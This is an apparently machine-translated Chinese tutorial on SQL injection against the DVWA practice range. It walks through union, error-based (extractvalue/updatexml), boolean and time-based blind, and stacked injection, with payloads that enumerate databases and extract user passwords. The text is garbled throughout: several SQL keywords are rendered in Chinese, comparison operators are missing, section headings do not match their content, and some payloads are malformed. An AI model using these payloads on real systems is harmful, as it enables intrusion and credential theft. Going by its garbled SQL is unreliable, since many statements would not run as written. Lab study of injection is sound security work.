如果输入参数类型为字符且存在注入漏洞,则称为字符注入。
字符类型和数字类型之间最大的区别之一是数字类型不需要用单引号括起来,而字符串通常需要用单引号括起来。
按照3.1中的步骤,DVWA Shooting Range做了一些额外的处理,因此您可以暂时将其作为角色类型插入。
为什么它被认为是暂时的?
由于它是由网站处理的,因此不会影响数据库中的实际类型,它只是一个数字注入。
1 和1=1
从逻辑上看,如果将“1 and 1=1”作为字符串,是找不到结果的(数据库中没有1和1=1的ID值)。在这种情况下,无法验证该漏洞。因此在真正的测试中,构造的语句应该用单字符引号分隔,以便您可以做出逻辑决策并验证您正在考虑的逻辑。
因此,在构造payload时,用单引号括起来,语句:就可以成功执行。
//截断注释方法
尝试输入:1\’ 和1=1 #。
数据中的表述是:
select * from user where id=\’1\’ and 1=1 #\’
一、漏洞简介
使用Union 或Union All 运算符连接查询中的多个SELECT 语句。
Union:自动从结果集中去除重复行Union all:将所有有重复行的查询结果合并(实际渗透时使用,确保不遗漏任何信息)
使用联合查询的条件:联合左右两侧的查询列数全部相同,且页面有空间显示。
关于显示位置,需要考虑两点:1.是否为空2.是否足够?
1是:检查查询条件是否可以返回结果。
通过order by 帮助我们决定在前端页面显示多少列。
按1\’1# 排序
检查3报错。检查1和2没有报告错误。这表明有两列显示位。
使用连接查询的另一种方法是确定1 和2 是否表示无意义的位以及是否存在可见的位。
1\’ 合并全选1,2
2足够:页面显示空间不足,将返回不完整的结果。
仅显示一位数字:更改查询顺序
1\’ 合并选择所有用户(),数据库()#
1\’ 加入选择所有数据库(),用户()#
前端页面空间有限,只能显示一行。 union all 左边的内容无法查询。
-1\’加入全选1,2#
前端页面空间有限,无法展示多行查询结果。使用group_concat() 将同一列中的多行合并到同一行中。
1\’ Union all select 1,group_concat(user) from users#
在讲解如何使用Union注入进一步检索数据库名、表名、字段名以及字段内的数据之前,我们先介绍一些重要的知识点。 MySQL 5.0 及更高版本有一个名为information_schema 的内置数据库。
information_schema包含了所有的库信息,所以一旦拿到它,就得到了业务数据库DVWA,这对于渗透测试非常有用。
information_schema 数据库中有三个非常重要的表。
schemata: 所有数据库的名称
tables: 所有数据库中的所有表
columns: 所有数据库中所有表中的所有字段
三栏非常重要。
table_schema:数据库名称
table_name:表名
列名:字段名
然后使用information_schema 库运行查询
渗透层次流程:库名—— 表名—— 字段名—— 数据
从information_schema 数据库中检索库名称。
1\’ 加入全部并从information_schema.schemata 中选择schema_name,1#
从information_schema数据库中的表中查询当前数据库中的表名。
1\’ 连接全部并从information_schema.tables 中选择table_name,1 (table_schema=database()#)
找到dvwa 库中users 表下的字段。
1\’ 连接全部并从information_schema.columns 中选择column_name,1 (table_sechema=\’dvwa\’ 和table_name=\’users\’)
获取您的用户名和密码
1\’ 选择所有用户,合并用户的密码#
二、漏洞危害
主要利用数据库错误来判断是否存在注入点。如果不遵循数据库语法规则,则报错并返回错误信息。
目的:通过错误报告查询所需信息
常用报错特殊字符:\’\\)(#\’\’
MySQL的更高版本(5.1版本)增加了查询和修改XML文档的功能,通常用于错误注入。
提取值()
更新xml()
原因:这两个函数运行时,如果XML文档出现路径错误,就会报错。
三、SQL注入分类
此函数返回一个字符串,其中包含目标XML 中的查询值。
提取值(xml_文档,xpath_string)
xml_document:字符串格式的XML 文档对象名称。 xpath_string:XPath 格式的字符串。
基本上,如果你随意编写第一个参数,第二个参数就会报告错误,因此你构建代码来代替第二个参数,并使用错误返回你想要的信息。
在这种情况下,所需函数会报告语法错误(原因:不在路径中~)
前端代码:1\’ extractvalue(1,\’~\’) #
但是,\’可能会在前端到后端的过程中被检查。您可以使用十六进制绕过它。
select hex(\’~\’) //~转换为十六进制:0x7e
报错时如何查找需要的信息:使用concat()字符串拼接函数
注入思路: 库名—— 表名—— 列名—— 字段名
# 爆款数据库名
1’ 和extractvalue(1,concat(0x7e,database()))#
# 爆炸性的数字
1\’ and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=\’dvwa\’)));#
#爆炸名称
!– Blast 长度有限,group_concat() 方法显示的信息不完整–
1\’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=\’dvwa\’)));#
1\’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=\’dvwa\’ limit 0,1)));#
# 扩展的字段数
1\’ and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema=\’dvwa\’ and table_name=\’user\’)));#
# 扩展字段名称
1\’ and extractvalue(1,concat(0x7e,(从information_schema.columns 中选择column_name 其中table_schema=\’dvwa\’ 和table_name=\’user\’ limit 0,1)));#
# 分解数据长度
1\’ and extractvalue(1,concat(0x7e,(从user_id=1 的用户中选择长度(密码))));#
#爆炸数据
!– 由于只能检查一列,所以concat() 将两列合并为一列,但结果发现数据不完整,所以使用了substr() 的帮助–
1\’ and extractvalue(1,concat(0x7e,(select concat(user,password) from user_id=1)));#
1\’ and extractvalue(1,concat(select substr(password,32,1) from user with0x7e,(user_id=1)));#
limit m,n:表示从第m+1项开始取n项
3.1 数字型int
updatexml(xml_document, XPath_string, new_value)
注入过程与extractvalue() 函数相同,只是多了一个参数。
第三个参数可以是任何内容,例如:
3.2 字符型varchar
没有之前的查询信息或错误信息,仅根据插入的信息返回True或False。
3.3 联合查询注入union
1. 决定是否注射以及注射的类型。
2. 猜测当前数据库名称。
猜测当前数据库库名的长度
1\’ 和长度(database()) 3;#
猜测当前数据库的名称。将当前字符串的第一个字符转换为其ASCII 代码,并将其与100 进行比较。
1\’ 和ascii(substr(database(),1,1)) 100;#
3. 猜测数据库中的表名。
猜猜桌子的数量
1\’ and (select(select count(table_name) from information_schema.tables where table_schema=\’dvwa\’)) 2;#
获取第一个表并猜测表名的长度。
1\’ and length((select table_name from information_schema.tables where table_schema=\’dvwa\’ limit 0,1)) 5;#
猜测表名
1\’ and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=\’dvwa\’ limit 0,1) 100;#
4. 猜猜表中的字段名称。
猜测字段的数量
1\’ and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=\’users\’) 10;#
使用上面的手动注入方法是非常繁琐的。直接猜测数据库中可能存在的字段名(如果不存在则继续手动注入)。
用户名:用户名/用户名/uname/u_name/用户/名称/.
密码:密码/pass_word/pwd/pass/.
# 已知数据库是dvwa,表名是users,猜测字段名是phone
1\’ and (select count(*) from information_schema.columns where table_schema=\’dwwa\’ and table_name=\’users\’ and column_name=\’user\’)=1;#
5.获取表中字段值
1) 用户名字段值
# 突发长度
1\’ and length((从用户限制0,1中选择用户))5;#
# 将字符一一分解
1\’ and (select ascii(substr(user,1,1)) from user limit 0,1)100;#
2) 密码字段值
# 突发长度
1\’ and length(substr((从用户限制中选择密码0,1),1)33;#
# 将字符一一分解
6.验证字段值的有效性
在前端登录界面的输入框中输入您获得的用户名和密码,检查是否登录成功。
3.4 报错注入
一个接口只能返回一个True 值。可以使用if和sleep函数根据页面返回时间的差异来判断插入的语句是否正确。
猜测当前连接的数据库的名称
1\’ and if(length(database())=4,sleep(3),1)#;
盲注需要掌握的一些功能
length():返回字符串的长度substr():截取字符串ascii():返回字符的ASCII 码sleep():暂停程序一段时间
extractvalue()函数
一次执行多个SQL语句
使用条款: MySQL 数据库搜索引擎使用mysqli_muli_query()。
使用说明:直接在输入框中键入多条SQL语句,以;分隔。
这里,我们总结一下SQL注入的分类。
按查询字段:数字型、字符型按查询方式:联合注入、堆栈注入按echo:报错、盲注
#【网络安全的神秘世界】以上有关SQL注入漏洞的相关内容仅供大家参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91821.html